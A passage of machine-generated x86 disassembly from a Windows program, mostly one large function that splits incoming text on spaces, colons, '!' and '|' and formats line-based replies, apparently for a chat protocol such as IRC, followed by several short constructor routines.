		mov	[esp+20h+var_D], 1


loc_410657:				; CODE XREF: sub_40FF60+6F0j
		lea	ecx, [esp+20h+arg_394]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_4106C4
		cmp	[ebp+16h], bl
		jnz	short loc_4106A0
		mov	ecx, offset byte_44742D
		call	sub_4017E4
		push	eax
		mov	ecx, offset dword_4473E4
		call	sub_4017E4
		mov	edx, dword_447104
		push	eax
		push	edx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 14h


loc_4106A0:				; CODE XREF: sub_40FF60+713j
		mov	ecx, offset byte_4E6E85
		call	sub_4017E4
		push	eax
		mov	eax, dword_44710C
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 10h
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_4106C4:				; CODE XREF: sub_40FF60+70Ej
		push	offset asc_443600 ; " "
		lea	ecx, [esp+24h+arg_1B4]
		push	1
		push	ecx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	edx, dword_447114
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+24h+arg_246C], 0Bh
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_1B4]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_443600 ; " "
		cmp	al, bl
		jz	short loc_410775
		lea	eax, [esp+24h+arg_94]
		push	3
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset dword_4437F8
		lea	ecx, [esp+24h+arg_94]
		mov	byte ptr [esp+24h+arg_246C], 0Ch
		call	sub_4014D3
		push	eax
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		cmp	eax, ebx
		jz	short loc_41075D
		inc	eax
		lea	ecx, [ebp+28h]
		push	eax
		call	sub_4015D7


loc_41075D:				; CODE XREF: sub_40FF60+7F1j
		lea	ecx, [esp+20h+arg_94]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_410775:				; CODE XREF: sub_40FF60+7B7j
		lea	ecx, [esp+24h+arg_304]
		push	1
		push	ecx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	edx, dword_447110
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+24h+arg_246C], 0Dh
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4107B0
		mov	al, byte_447844
		mov	[esp+20h+var_D], 1
		cmp	al, bl
		jnz	short loc_4107B4


loc_4107B0:				; CODE XREF: sub_40FF60+840j
		mov	[esp+20h+var_D], bl


loc_4107B4:				; CODE XREF: sub_40FF60+84Ej
		lea	ecx, [esp+20h+arg_304]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_410AC1
		push	offset asc_443C94 ; ":"
		lea	eax, [esp+24h+arg_4C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	96h
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 0Fh
		jz	short loc_410812
		mov	ecx, eax
		call	sub_402054


loc_410812:				; CODE XREF: sub_40FF60+8A9j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 10h
		jz	short loc_41083E
		mov	ecx, eax
		call	sub_4010BE


loc_41083E:				; CODE XREF: sub_40FF60+8D5j
		push	offset asc_4435EC ; "|"
		lea	ecx, [esp+24h+arg_4C]
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_401A9B
		push	offset asc_4435EC ; "|"
		lea	ecx, [esp+24h+arg_7C]
		push	ebx
		push	ecx
		lea	ecx, [esp+2Ch+arg_4C]
		xor	edi, edi
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 11h
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_7C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		cmp	esi, ebx
		jz	loc_410AAC


loc_41089F:				; CODE XREF: sub_40FF60+B46j
		push	96h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 12h
		jz	short loc_4108C7
		mov	ecx, eax
		call	sub_402054
		mov	esi, eax
		jmp	short loc_4108C9
; ---------------------------------------------------------------------------


loc_4108C7:				; CODE XREF: sub_40FF60+95Aj
		xor	esi, esi


loc_4108C9:				; CODE XREF: sub_40FF60+965j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 13h
		jz	short loc_4108FB
		mov	ecx, eax
		call	sub_4010BE
		mov	[esp+20h+var_C], eax
		jmp	short loc_4108FF
; ---------------------------------------------------------------------------


loc_4108FB:				; CODE XREF: sub_40FF60+98Cj
		mov	[esp+20h+var_C], ebx


loc_4108FF:				; CODE XREF: sub_40FF60+999j
		push	offset aS_3	; " -s"
		lea	ecx, [esp+24h+var_8]
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_4013E3
		test	eax, eax
		jz	short loc_410922
		mov	byte ptr [esi+93h], 1
		jmp	short loc_410928
; ---------------------------------------------------------------------------


loc_410922:				; CODE XREF: sub_40FF60+9B7j
		mov	[esi+93h], bl


loc_410928:				; CODE XREF: sub_40FF60+9C0j
		push	offset aN_0	; " -n"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013E3
		test	eax, eax
		jz	short loc_410943
		mov	byte ptr [esi+94h], 1
		jmp	short loc_410949
; ---------------------------------------------------------------------------


loc_410943:				; CODE XREF: sub_40FF60+9D8j
		mov	[esi+94h], bl


loc_410949:				; CODE XREF: sub_40FF60+9E1j
		push	offset aO	; " -o"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013E3
		test	eax, eax
		jz	short loc_410964
		mov	byte ptr [esi+95h], 1
		jmp	short loc_41096A
; ---------------------------------------------------------------------------


loc_410964:				; CODE XREF: sub_40FF60+9F9j
		mov	[esi+95h], bl


loc_41096A:				; CODE XREF: sub_40FF60+A02j
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_1E4]
		push	3
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	eax
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+24h+arg_246C], 14h
		call	sub_401FBE
		lea	ecx, [esp+20h+arg_1E4]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		push	offset byte_446F70
		lea	ecx, [esi+54h]
		call	sub_4015D7
		push	offset byte_446F70
		lea	ecx, [esi+3Fh]
		call	sub_4015D7
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_AC]
		push	3
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	eax
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+24h+arg_246C], 15h
		call	sub_401FBE
		lea	ecx, [esp+20h+arg_AC]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		push	offset asc_4435EC ; "|"
		lea	ecx, [esp+24h+arg_214]
		push	edi
		push	ecx
		lea	ecx, [esp+2Ch+arg_4C]
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 16h
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4015D7
		lea	ecx, [esp+20h+arg_214]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		mov	ecx, [esp+20h+var_C]
		push	1
		push	esi
		call	sub_401DE3
		cmp	esi, ebx
		jz	short loc_410A59
		push	1
		mov	ecx, esi
		call	sub_4019D3


loc_410A59:				; CODE XREF: sub_40FF60+AEEj
		mov	ecx, [esp+20h+var_C]
		call	sub_4013D4
		inc	edi
		push	offset asc_4435EC ; "|"
		lea	edx, [esp+24h+arg_7C]
		push	edi
		push	edx
		lea	ecx, [esp+2Ch+arg_4C]
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 11h
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_7C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		cmp	esi, ebx
		jnz	loc_41089F


loc_410AAC:				; CODE XREF: sub_40FF60+939j
		lea	ecx, [esp+20h+arg_4C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_410AC1:				; CODE XREF: sub_40FF60+86Bj
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_334]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_447108
		mov	byte ptr [esp+20h+arg_246C], 17h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_334]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_410DDB
		push	96h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 18h
		jz	short loc_410B3B
		mov	ecx, eax
		call	sub_402054
		mov	esi, eax
		jmp	short loc_410B3D
; ---------------------------------------------------------------------------


loc_410B3B:				; CODE XREF: sub_40FF60+BCEj
		xor	esi, esi


loc_410B3D:				; CODE XREF: sub_40FF60+BD9j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], bl
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 19h
		jz	short loc_410B6C
		mov	ecx, eax
		call	sub_4010BE
		mov	edi, eax
		jmp	short loc_410B6E
; ---------------------------------------------------------------------------


loc_410B6C:				; CODE XREF: sub_40FF60+BFFj
		xor	edi, edi


loc_410B6E:				; CODE XREF: sub_40FF60+C0Aj
		push	offset aO	; " -o"
		lea	ecx, [esp+24h+var_8]
		mov	byte ptr [esp+24h+arg_246C], bl
		call	sub_4013E3
		test	eax, eax
		jz	short loc_410B90
		mov	byte ptr [esi+95h], 1
		jmp	short loc_410B96
; ---------------------------------------------------------------------------


loc_410B90:				; CODE XREF: sub_40FF60+C25j
		mov	[esi+95h], bl


loc_410B96:				; CODE XREF: sub_40FF60+C2Ej
		push	offset aS_3	; " -s"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013E3
		test	eax, eax
		jz	short loc_410BB1
		mov	byte ptr [esi+93h], 1
		jmp	short loc_410BB7
; ---------------------------------------------------------------------------


loc_410BB1:				; CODE XREF: sub_40FF60+C46j
		mov	[esi+93h], bl


loc_410BB7:				; CODE XREF: sub_40FF60+C4Fj
		push	offset aN_0	; " -n"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013E3
		test	eax, eax
		jz	short loc_410BD2
		mov	byte ptr [esi+94h], 1
		jmp	short loc_410BD8
; ---------------------------------------------------------------------------


loc_410BD2:				; CODE XREF: sub_40FF60+C67j
		mov	[esi+94h], bl


loc_410BD8:				; CODE XREF: sub_40FF60+C70j
		push	offset asc_443C94 ; ":"
		lea	edx, [esp+24h+arg_274]
		push	ebx
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset asc_443600 ; " "
		lea	ecx, [esp+24h+arg_3C4]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Ah
		call	sub_4016AE
		push	offset asc_443C88 ; "!"
		lea	edx, [esp+24h+arg_244]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Bh
		call	sub_4016AE
		push	eax
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+24h+arg_246C], 1Ch
		call	sub_401FBE
		lea	ecx, [esp+20h+arg_244]
		mov	byte ptr [esp+20h+arg_246C], 1Bh
		call	sub_401226
		lea	ecx, [esp+20h+arg_3C4]
		mov	byte ptr [esp+20h+arg_246C], 1Ah
		call	sub_401226
		lea	ecx, [esp+20h+arg_274]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_443C88 ; "!"
		lea	eax, [esp+24h+arg_DC]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset dword_4437F8
		lea	ecx, [esp+24h+arg_C4]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Dh
		call	sub_4016AE
		push	eax
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+24h+arg_246C], 1Eh
		call	sub_401FBE
		lea	ecx, [esp+20h+arg_C4]
		mov	byte ptr [esp+20h+arg_246C], 1Dh
		call	sub_401226
		lea	ecx, [esp+20h+arg_DC]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset dword_4437F8
		lea	edx, [esp+24h+arg_13C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset asc_443600 ; " "
		lea	ecx, [esp+24h+arg_10C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Fh
		call	sub_4016AE
		push	eax
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+24h+arg_246C], 20h
		call	sub_401FBE
		mov	byte ptr [esp+20h+arg_246C], 1Fh
		lea	ecx, [esp+20h+arg_10C]
		call	sub_401226
		lea	ecx, [esp+20h+arg_13C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_16C]
		push	2
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	eax
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+24h+arg_246C], 21h
		call	sub_401FBE
		lea	ecx, [esp+20h+arg_16C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_443C84 ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014D3
		push	eax
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		cmp	eax, ebx
		jz	short loc_410DAD
		add	eax, 2
		push	eax
		jmp	short loc_410DB2
; ---------------------------------------------------------------------------


loc_410DAD:				; CODE XREF: sub_40FF60+E45j
		push	offset byte_446F70


loc_410DB2:				; CODE XREF: sub_40FF60+E4Bj
		mov	ecx, esi
		call	sub_4015D7
		push	ebx
		push	esi
		mov	ecx, edi
		call	sub_401DE3
		cmp	esi, ebx
		jz	short loc_410DCF
		push	1
		mov	ecx, esi
		call	sub_4019D3


loc_410DCF:				; CODE XREF: sub_40FF60+E64j
		mov	ecx, edi
		call	sub_4013D4
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_410DDB:				; CODE XREF: sub_40FF60+BADj
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_19C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_44712C
		mov	byte ptr [esp+20h+arg_246C], 22h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_19C]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_410FB0
		sub	esp, 18h
		lea	ecx, [esp+38h+var_8]
		mov	edx, esp
		mov	[esp+38h+var_C], esp
		push	offset asc_443600 ; " "
		push	3
		push	edx
		call	sub_4016AE
		mov	ecx, offset word_448C9E
		call	sub_401CD0
		cmp	eax, ebx
		jz	short loc_410EA2
		sub	esp, 18h
		lea	ecx, [esp+38h+var_8]
		mov	eax, esp
		mov	[esp+38h+var_C], esp
		push	offset asc_443600 ; " "
		push	3
		push	eax
		call	sub_4016AE
		sub	esp, 18h
		mov	byte ptr [esp+50h+arg_246C], 23h
		mov	ecx, esp
		mov	[esp+50h+arg_C], esp
		push	offset asc_443600 ; " "
		push	3
		push	ecx
		lea	ecx, [esp+5Ch+var_8]
		call	sub_4016AE
		mov	ecx, offset word_448C9E
		mov	byte ptr [esp+50h+arg_246C], bl
		call	sub_40210D


loc_410EA2:				; CODE XREF: sub_40FF60+EF3j
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_1CC]
		push	3
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset byte_4E6E85
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 24h
		call	sub_401B72
		test	eax, eax
		lea	ecx, [esp+20h+arg_1CC]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_411327
		push	offset asc_443C94 ; ":"
		lea	eax, [esp+24h+arg_22C]
		push	ebx
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset asc_443C88 ; "!"
		lea	ecx, [esp+24h+arg_1FC]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 25h
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 26h
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+24h+arg_25C]
		call	sub_401861
		lea	ecx, [esp+20h+arg_1FC]
		mov	byte ptr [esp+20h+arg_246C], 29h
		call	sub_401226
		lea	ecx, [esp+20h+arg_22C]
		mov	byte ptr [esp+20h+arg_246C], 28h
		call	sub_401226
		mov	ecx, offset byte_44742D
		mov	[ebp+16h], bl
		call	sub_4017E4
		push	eax
		mov	ecx, offset dword_4473E4
		call	sub_4017E4
		mov	edx, dword_447104
		push	eax
		push	edx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 14h
		lea	ecx, [esp+20h+arg_25C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_410FB0:				; CODE XREF: sub_40FF60+EC7j
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_28C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_447120
		mov	byte ptr [esp+20h+arg_246C], 2Ah
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_28C]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_411168
		push	offset asc_443C94 ; ":"
		lea	edx, [esp+24h+arg_2EC]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset asc_443C88 ; "!"
		lea	ecx, [esp+24h+arg_2BC]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 2Bh
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 2Ch
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+24h+arg_34]
		call	sub_401861
		lea	ecx, [esp+20h+arg_2BC]
		mov	byte ptr [esp+20h+arg_246C], 2Fh
		call	sub_401226
		lea	ecx, [esp+20h+arg_2EC]
		mov	byte ptr [esp+20h+arg_246C], 2Eh
		call	sub_401226
		push	offset asc_443C84 ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014D3
		mov	esi, dword_50FAF8
		push	eax
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jz	loc_411153
		push	offset asc_443C84 ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014D3
		push	eax
		call	esi	; strstr
		add	esp, 8
		lea	ecx, [esp+20h+arg_64]
		push	eax
		call	sub_401861
		push	offset byte_446F70
		lea	ecx, [esp+24h+arg_34]
		mov	byte ptr [esp+24h+arg_246C], 30h
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41113F
		push	offset byte_446F70
		lea	ecx, [esp+24h+arg_64]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41113F
		sub	esp, 18h
		lea	edx, [esp+38h+arg_34]
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	edx
		call	sub_4014C9
		mov	ecx, offset word_448C9E
		call	sub_401CD0
		cmp	eax, ebx
		jz	short loc_41111B
		lea	ecx, [esp+20h+arg_64]
		push	ecx
		lea	ecx, [eax+19h]
		call	sub_401FBE


loc_41111B:				; CODE XREF: sub_40FF60+11A9j
		push	offset byte_4E6E85
		lea	ecx, [esp+24h+arg_34]
		call	sub_401B72
		test	eax, eax
		jnz	short loc_41113F
		lea	edx, [esp+20h+arg_64]
		mov	ecx, offset byte_4E6E85
		push	edx
		call	sub_401FBE


loc_41113F:				; CODE XREF: sub_40FF60+1173j
					; sub_40FF60+1188j ...
		lea	ecx, [esp+20h+arg_64]
		mov	byte ptr [esp+20h+arg_246C], 2Eh
		call	sub_401226


loc_411153:				; CODE XREF: sub_40FF60+1134j
		lea	ecx, [esp+20h+arg_34]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_411168:				; CODE XREF: sub_40FF60+109Cj
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_34C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_447130
		mov	byte ptr [esp+20h+arg_246C], 31h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_4111EF
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_31C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_447140
		mov	byte ptr [esp+20h+arg_246C], 32h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_31C]
		mov	byte ptr [esp+20h+arg_246C], 31h
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], bl
		cmp	al, bl
		jz	short loc_4111F4


loc_4111EF:				; CODE XREF: sub_40FF60+1238j
		mov	[esp+20h+var_D], 1


loc_4111F4:				; CODE XREF: sub_40FF60+128Dj
		lea	ecx, [esp+20h+arg_34C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_411327
		push	offset asc_443C94 ; ":"
		lea	edx, [esp+24h+arg_37C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		sub	esp, 18h
		mov	byte ptr [esp+38h+arg_246C], 33h
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	offset asc_443C88 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016AE
		mov	ecx, offset word_448C9E
		call	sub_401CD0
		lea	ecx, [esp+20h+arg_37C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	esi, ebx
		jz	loc_411327
		push	offset asc_443C94 ; ":"
		lea	edx, [esp+24h+arg_3DC]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		sub	esp, 18h
		mov	byte ptr [esp+38h+arg_246C], 34h
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	offset asc_443C88 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016AE
		push	offset asc_443C94 ; ":"
		lea	edx, [esp+3Ch+arg_3AC]
		push	1
		push	edx
		lea	ecx, [esp+44h+var_8]
		mov	byte ptr [esp+44h+arg_246C], 35h
		call	sub_4016AE
		sub	esp, 18h
		mov	byte ptr [esp+50h+arg_246C], 36h
		mov	ecx, esp
		mov	[esp+50h+var_C], esp
		push	offset asc_443C88 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016AE
		mov	ecx, offset word_448C9E
		mov	byte ptr [esp+50h+arg_246C], 37h
		call	sub_40210D
		lea	ecx, [esp+20h+arg_3AC]
		mov	byte ptr [esp+20h+arg_246C], 34h
		call	sub_401226
		lea	ecx, [esp+20h+arg_3DC]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	short loc_411327
; ---------------------------------------------------------------------------


loc_411320:				; CODE XREF: sub_40FF60+391j
		mov	ecx, ebp
		call	sub_401D0C


loc_411327:				; CODE XREF: sub_40FF60+1D3j
					; sub_40FF60+253j ...
		cmp	[ebp+17h], bl
		jnz	loc_40FFA2


loc_411330:				; CODE XREF: sub_40FF60+3Cj
					; sub_40FF60+4Fj
		lea	ecx, [esp+20h+var_8]
		mov	[esp+20h+arg_246C], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+20h+arg_2464]
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 2484h
		retn
sub_40FF60	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 500h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411860	proc near		; CODE XREF: sub_4010BEj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411860
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E6A
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_402054
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E038
		mov	dword ptr [esi+11h], 0
		mov	byte ptr [esi+0ABh], 0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411860	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4118E0:				; CODE XREF: ___:loc_40115Ej
					; ___:004016EAj
		push	esi
		mov	esi, ecx
		call	sub_40101E
		test	byte ptr [esp+8], 1
		jz	short loc_4118F8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4118F8:				; CODE XREF: ___:004118EDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411910	proc near		; CODE XREF: sub_40101Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411910
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43E038
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_40196A
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411910	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411990	proc near		; CODE XREF: sub_402054j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411990
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401424
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401424
		lea	ecx, [esi+69h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401424
		lea	ecx, [esi+7Eh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411990	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411A50	proc near		; CODE XREF: sub_40196Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411A50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
